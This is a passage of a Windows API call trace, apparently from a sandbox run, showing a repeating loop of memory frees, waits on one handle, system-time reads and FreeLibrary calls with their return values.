(_Block=0x196ef0d4e70) [0223.207] free (_Block=0x196ef0fb2c0) [0223.207] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65e6a244, dwHighDateTime=0x1d9eb0c)) [0223.213] free (_Block=0x196ef0d19e0) [0223.213] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.214] free (_Block=0x196ef0d4e70) [0223.214] free (_Block=0x196ef0fba40) [0223.214] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65e6a244, dwHighDateTime=0x1d9eb0c)) [0223.222] free (_Block=0x196ef0d2020) [0223.222] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.222] free (_Block=0x196ef0d4e70) [0223.223] free (_Block=0x196ef0fbbd0) [0223.223] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65e90459, dwHighDateTime=0x1d9eb0c)) [0223.229] free (_Block=0x196ef0d1d00) [0223.229] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.230] free (_Block=0x196ef0d4e70) [0223.230] free (_Block=0x196ef0fb8b0) [0223.230] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65f03045, dwHighDateTime=0x1d9eb0c)) [0223.271] free (_Block=0x196ef0d1a80) [0223.271] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.272] free (_Block=0x196ef0d4e70) [0223.274] free (_Block=0x196ef0fbdb0) [0223.274] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65f03045, dwHighDateTime=0x1d9eb0c)) [0223.281] free (_Block=0x196ef0d1d60) [0223.281] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.281] free (_Block=0x196ef0d4e70) [0223.282] free (_Block=0x196ef0fb8b0) [0223.282] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65f28e89, dwHighDateTime=0x1d9eb0c)) [0223.290] free (_Block=0x196ef0d1ca0) [0223.291] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.291] free (_Block=0x196ef0d4e70) [0223.292] free (_Block=0x196ef0fb680) [0223.292] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65f4eec0, dwHighDateTime=0x1d9eb0c)) [0223.309] free (_Block=0x196ef0d1ba0) [0223.309] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.310] free (_Block=0x196ef0d4e70) [0223.311] free (_Block=0x196ef0fbae0) [0223.311] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6600dc45, dwHighDateTime=0x1d9eb0c)) [0223.381] free (_Block=0x196ef0d2020) [0223.381] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.381] free (_Block=0x196ef0d4e70) [0223.382] free (_Block=0x196ef0fb2c0) [0223.382] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6600dc45, dwHighDateTime=0x1d9eb0c)) [0223.389] free (_Block=0x196ef0d1f20) [0223.389] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.389] free (_Block=0x196ef0d4e70) [0223.390] free (_Block=0x196ef0fbb30) [0223.390] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x660341f8, dwHighDateTime=0x1d9eb0c)) [0223.397] free (_Block=0x196ef0d1ca0) [0223.397] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.397] free (_Block=0x196ef0d4e70) [0223.398] free (_Block=0x196ef0fc170) [0223.398] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66059fc2, dwHighDateTime=0x1d9eb0c)) [0223.413] free (_Block=0x196ef0d1ea0) [0223.414] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.414] free (_Block=0x196ef0d4e70) [0223.415] free (_Block=0x196ef0fbdb0) [0223.415] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x660f29c9, dwHighDateTime=0x1d9eb0c)) [0223.475] free (_Block=0x196ef0d1ee0) [0223.475] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.476] free (_Block=0x196ef0d4e70) [0223.476] free (_Block=0x196ef0fb220) [0223.477] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x660f29c9, dwHighDateTime=0x1d9eb0c)) [0223.485] free (_Block=0x196ef0d1e20) [0223.485] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.486] free (_Block=0x196ef0d4e70) [0223.487] free (_Block=0x196ef0fbc20) [0223.487] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x661191e8, dwHighDateTime=0x1d9eb0c)) [0223.495] free (_Block=0x196ef0d1fc0) [0223.495] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.496] free (_Block=0x196ef0d4e70) [0223.496] free (_Block=0x196ef0fc120) [0223.497] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x661191e8, dwHighDateTime=0x1d9eb0c)) [0223.503] free (_Block=0x196ef0d2000) [0223.504] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.504] free (_Block=0x196ef0d4e70) [0223.510] free (_Block=0x196ef0fbef0) [0223.510] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6613f305, dwHighDateTime=0x1d9eb0c)) [0223.518] free (_Block=0x196ef0d1e60) [0223.518] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.518] free (_Block=0x196ef0d4e70) [0223.519] free (_Block=0x196ef0fb680) [0223.519] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x661fdb6f, dwHighDateTime=0x1d9eb0c)) [0223.587] free (_Block=0x196ef0d1c60) [0223.587] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.587] free (_Block=0x196ef0d4e70) [0223.588] free (_Block=0x196ef0fba40) [0223.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x661fdb6f, dwHighDateTime=0x1d9eb0c)) [0223.596] free (_Block=0x196ef0d1b40) [0223.597] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.597] free (_Block=0x196ef0d4e70) [0223.598] free (_Block=0x196ef0fc170) [0223.598] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66223ced, dwHighDateTime=0x1d9eb0c)) [0223.604] free (_Block=0x196ef0d1aa0) [0223.604] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.604] free (_Block=0x196ef0d4e70) [0223.605] free (_Block=0x196ef0fbd10) [0223.605] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66223ced, dwHighDateTime=0x1d9eb0c)) [0223.612] free (_Block=0x196ef0d2040) [0223.612] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.612] free (_Block=0x196ef0d4e70) [0223.613] free (_Block=0x196ef0fba40) [0223.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6624a052, dwHighDateTime=0x1d9eb0c)) [0223.620] free (_Block=0x196ef0d1ac0) [0223.620] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.620] free (_Block=0x196ef0d4e70) [0223.621] free (_Block=0x196ef0fc120) [0223.621] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x662e28ff, dwHighDateTime=0x1d9eb0c)) [0223.679] free (_Block=0x196ef0d1c60) [0223.680] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.680] free (_Block=0x196ef0d4e70) [0223.681] free (_Block=0x196ef0fc120) [0223.681] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x662e28ff, dwHighDateTime=0x1d9eb0c)) [0223.687] free (_Block=0x196ef0d1fa0) [0223.687] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.687] free (_Block=0x196ef0d4e70) [0223.688] free (_Block=0x196ef0fb770) [0223.688] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66308e08, dwHighDateTime=0x1d9eb0c)) [0223.695] free (_Block=0x196ef0d1e60) [0223.695] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.695] free (_Block=0x196ef0d4e70) [0223.696] free (_Block=0x196ef0fb860) [0223.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66308e08, dwHighDateTime=0x1d9eb0c)) [0223.702] free (_Block=0x196ef0d1bc0) [0223.702] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.702] free (_Block=0x196ef0d4e70) [0223.703] free (_Block=0x196ef0fba40) [0223.703] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6632ed2a, dwHighDateTime=0x1d9eb0c)) [0223.711] free (_Block=0x196ef0d19a0) [0223.711] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.711] free (_Block=0x196ef0d4e70) [0223.712] free (_Block=0x196ef0fbc20) [0223.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6632ed2a, dwHighDateTime=0x1d9eb0c)) [0223.719] free (_Block=0x196ef0d1aa0) [0223.719] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.720] free (_Block=0x196ef0d4e70) [0223.720] free (_Block=0x196ef0fc080) [0223.720] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x663ed93d, dwHighDateTime=0x1d9eb0c)) [0223.791] free (_Block=0x196ef0d19a0) [0223.792] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.792] free (_Block=0x196ef0d4e70) [0223.793] free (_Block=0x196ef0fb8b0) [0223.793] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x663ed93d, dwHighDateTime=0x1d9eb0c)) [0223.801] free (_Block=0x196ef0d1d60) [0223.801] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.802] free (_Block=0x196ef0d4e70) [0223.802] free (_Block=0x196ef0fb7c0) [0223.802] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x664139d1, dwHighDateTime=0x1d9eb0c)) [0223.808] free (_Block=0x196ef0d1bc0) [0223.808] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.809] free (_Block=0x196ef0d4e70) [0223.809] free (_Block=0x196ef0fc170) [0223.810] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x664139d1, dwHighDateTime=0x1d9eb0c)) [0223.817] free (_Block=0x196ef0d1d60) [0223.817] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.818] free (_Block=0x196ef0d4e70) [0223.818] free (_Block=0x196ef0fbdb0) [0223.819] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66439d4a, dwHighDateTime=0x1d9eb0c)) [0223.826] free (_Block=0x196ef0d19a0) [0223.826] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.826] free (_Block=0x196ef0d4e70) [0223.827] free (_Block=0x196ef0fba40) [0223.827] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x664d5390, dwHighDateTime=0x1d9eb0c)) [0223.890] free (_Block=0x196ef0d1fa0) [0223.891] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.891] free (_Block=0x196ef0d4e70) [0223.892] free (_Block=0x196ef0fb220) [0223.892] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x664f8c70, dwHighDateTime=0x1d9eb0c)) [0223.899] free (_Block=0x196ef0d1f00) [0223.899] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.900] free (_Block=0x196ef0d4e70) [0223.900] free (_Block=0x196ef0fb3b0) [0223.900] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x664f8c70, dwHighDateTime=0x1d9eb0c)) [0223.908] free (_Block=0x196ef0d1ba0) [0223.909] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.909] free (_Block=0x196ef0d4e70) [0223.910] free (_Block=0x196ef0fbef0) [0223.910] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6651ec4d, dwHighDateTime=0x1d9eb0c)) [0223.919] free (_Block=0x196ef0d1f60) [0223.919] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.919] free (_Block=0x196ef0d4e70) [0223.920] free (_Block=0x196ef0fb450) [0223.920] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6660d159, dwHighDateTime=0x1d9eb0c)) [0224.011] free (_Block=0x196ef0d1ba0) [0224.011] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.012] free (_Block=0x196ef0d4e70) [0224.012] free (_Block=0x196ef0fbae0) [0224.012] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6660d159, dwHighDateTime=0x1d9eb0c)) [0224.020] free (_Block=0x196ef0d1cc0) [0224.020] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.021] free (_Block=0x196ef0d4e70) [0224.021] free (_Block=0x196ef0fb220) [0224.021] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66629c5c, dwHighDateTime=0x1d9eb0c)) [0224.029] free (_Block=0x196ef0d1960) [0224.029] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.029] free (_Block=0x196ef0d4e70) [0224.030] free (_Block=0x196ef0fbbd0) [0224.030] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6664fef6, dwHighDateTime=0x1d9eb0c)) [0224.038] free (_Block=0x196ef0d1bc0) [0224.038] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.039] free (_Block=0x196ef0d4e70) [0224.039] free (_Block=0x196ef0fb400) [0224.039] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6664fef6, dwHighDateTime=0x1d9eb0c)) [0224.045] free (_Block=0x196ef0d1ba0) [0224.045] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.045] free (_Block=0x196ef0d4e70) [0224.046] free (_Block=0x196ef0fb450) [0224.046] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x666e87c6, dwHighDateTime=0x1d9eb0c)) [0224.104] free (_Block=0x196ef0d1e60) [0224.104] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.104] free (_Block=0x196ef0d4e70) [0224.105] free (_Block=0x196ef0fb220) [0224.105] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x666e87c6, dwHighDateTime=0x1d9eb0c)) [0224.112] free (_Block=0x196ef0d2040) [0224.112] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.112] free (_Block=0x196ef0d4e70) [0224.113] free (_Block=0x196ef0fbfe0) [0224.113] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6670eab0, dwHighDateTime=0x1d9eb0c)) [0224.124] free (_Block=0x196ef0d1a20) [0224.124] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.125] free (_Block=0x196ef0d4e70) [0224.126] free (_Block=0x196ef0fbc70) [0224.126] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66734e57, dwHighDateTime=0x1d9eb0c)) [0224.132] free (_Block=0x196ef0d1980) [0224.132] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.133] free (_Block=0x196ef0d4e70) [0224.134] free (_Block=0x196ef0fb4f0) [0224.134] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66734e57, dwHighDateTime=0x1d9eb0c)) [0224.141] free (_Block=0x196ef0d1e20) [0224.141] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.142] free (_Block=0x196ef0d4e70) [0224.143] free (_Block=0x196ef0fb8b0) [0224.143] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x667f38b3, dwHighDateTime=0x1d9eb0c)) [0224.210] free (_Block=0x196ef0d1ba0) [0224.210] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.211] free (_Block=0x196ef0d4e70) [0224.212] free (_Block=0x196ef0fb950) [0224.212] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x667f38b3, dwHighDateTime=0x1d9eb0c)) [0224.221] free (_Block=0x196ef0d1ac0) [0224.222] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.222] free (_Block=0x196ef0d4e70) [0224.223] free (_Block=0x196ef0fbe00) [0224.224] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6681ae60, dwHighDateTime=0x1d9eb0c)) [0224.231] free (_Block=0x196ef0d1c60) [0224.232] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.232] free (_Block=0x196ef0d4e70) [0224.233] free (_Block=0x196ef0fbbd0) [0224.234] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66840185, dwHighDateTime=0x1d9eb0c)) [0224.244] free (_Block=0x196ef0d1c40) [0224.244] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.245] free (_Block=0x196ef0d4e70) [0224.245] free (_Block=0x196ef0fb400) [0224.246] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6694ac54, dwHighDateTime=0x1d9eb0c)) [0224.361] free (_Block=0x196ef0d1aa0) [0224.361] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.362] free (_Block=0x196ef0d4e70) [0224.363] free (_Block=0x196ef0fc0d0) [0224.363] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66970f5d, dwHighDateTime=0x1d9eb0c)) [0224.369] free (_Block=0x196ef0d19a0) [0224.369] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.369] free (_Block=0x196ef0d4e70) [0224.370] free (_Block=0x196ef0fb590) [0224.370] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66970f5d, dwHighDateTime=0x1d9eb0c)) [0224.376] free (_Block=0x196ef0d1ee0) [0224.376] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.377] free (_Block=0x196ef0d4e70) [0224.377] free (_Block=0x196ef0fbb30) [0224.378] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66997473, dwHighDateTime=0x1d9eb0c)) [0224.384] free (_Block=0x196ef0d1f20) [0224.384] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.385] free (_Block=0x196ef0d4e70) [0224.386] free (_Block=0x196ef0fbef0) [0224.386] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66997473, dwHighDateTime=0x1d9eb0c)) [0224.396] free (_Block=0x196ef0d1c00) [0224.396] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.397] free (_Block=0x196ef0d4e70) [0224.398] free (_Block=0x196ef0fbd10) [0224.398] 